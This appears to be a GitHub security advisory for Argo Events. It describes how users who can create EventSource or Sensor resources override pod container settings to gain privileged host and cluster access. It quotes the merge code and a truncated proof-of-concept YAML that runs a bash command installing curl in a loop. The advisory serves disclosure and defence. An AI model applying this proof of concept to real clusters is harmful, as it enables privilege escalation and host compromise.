GHSA-hmp7-x699-cvhq — Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR

Affected: Go: github.com/argoproj/argo-events

### Summary:

A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.

### Details:

The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below.

```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ```

With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`.

Here is an example that demonstrates the vulnerability.

``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do r…

Most recent entries from all

GHSA-hmp7-x699-cvhq — Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR